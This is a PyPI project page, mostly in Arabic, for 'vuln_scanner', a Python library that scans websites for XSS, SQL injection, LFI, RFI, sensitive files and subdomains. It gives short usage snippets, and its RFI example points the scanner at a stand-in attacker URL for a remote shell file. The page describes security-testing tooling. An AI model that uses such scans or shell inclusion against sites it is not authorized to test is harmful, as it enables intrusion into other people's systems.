مكتبة Python لفحص واكتشاف الثغرات الأمنية مثل XSS، SQL Injection، LFI، RFI، والفحص المتقدم للملفات الحساسة والنطاقات الفرعية.
Project description
🔒 vuln_scanner
مكتبة Python احترافية لفحص واكتشاف أبرز الثغرات الأمنية في المواقع الإلكترونية.
تساعدك الأداة في تأمين مواقع الويب من خلال اكتشاف مجموعة من الثغرات الشائعة والخطيرة.
🚀 المميزات
- ✅ XSS (Cross-Site Scripting): فحص وإيجاد ثغرات إدخال السكريبت.
- ✅ SQL Injection (SQLi): فحص استغلال قواعد البيانات عبر استعلامات SQL.
- ✅ Local File Inclusion (LFI): فحص إدراج الملفات المحلية.
- ✅ Remote File Inclusion (RFI): فحص إدراج الملفات عن بُعد.
- ✅ Sensitive Files & Directories Scanner: اكتشاف الملفات والمجلدات الحساسة.
- ✅ Subdomain Scanner: فحص واكتشاف النطاقات الفرعية للمواقع.
📝 الاستخدام
🔍 1. فحص ثغرات XSS
from vuln_scanner import scan_xss
url = "http://example.com/search?q=test"
scan_xss(url)
🔍 2. فحص ثغرات SQL Injection
from vuln_scanner import scan_sql_injection
url = "http://example.com/product?id=1"
scan_sql_injection(url)
🔍 3. فحص ثغرات LFI
from vuln_scanner import scan_lfi
url = "http://example.com/page.php?file=home"
scan_lfi(url)
🔍 4. فحص ثغرات RFI
from vuln_scanner import scan_rfi
url = "http://example.com/page.php?file="
external_url = "http://malicious.com/shell.txt"
scan_rfi(url, external_url)
🔍 5. فحص الملفات والدلائل الحساسة
from vuln_scanner import hidden_link_finder
url = "http://example.com"
wordlist = "common.txt"
hidden_link_finder(url, wordlist)
🔍 6. فحص النطاقات الفرعية (Subdomain Scanner)
from vuln_scanner import subdomain_scanner
domain = "example.com"
wordlist = "subdomains.txt"
subdomain_scanner(domain, wordlist)
💡 إذا كان لديك أي استفسارات أو اقتراحات، لا تتردد في التواصل!
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file vuln_scanner-0.9.tar.gz.
File metadata
- Download URL: vuln_scanner-0.9.tar.gz
- Upload date:
- Size: 9.6 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.0.1 CPython/3.12.0
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
e407fd5a4bf140a504262f7ede745de9483b471e1d9c3afd43076ffa8529ccd6
|
|
| MD5 |
3b5fb6c3e52609c9ba08aeddab025bdc
|
|
| BLAKE2b-256 |
f672301bcfe5ed6a45e4e8ac8981af8ab0d6dae9912acabc00e34425819f984f
|
File details
Details for the file vuln_scanner-0.9-py3-none-any.whl.
File metadata
- Download URL: vuln_scanner-0.9-py3-none-any.whl
- Upload date:
- Size: 11.7 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.0.1 CPython/3.12.0
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
f663909546ffbc4e58fdef050a80e0ed9d645ac023c62b2f0eb3f803689d67ee
|
|
| MD5 |
187b2e23e75c78691df0bcd4fd0d2147
|
|
| BLAKE2b-256 |
f47d80f62b51eb60172083ac9c169a78bc6301ae5ff45f965673b24740e6ed00
|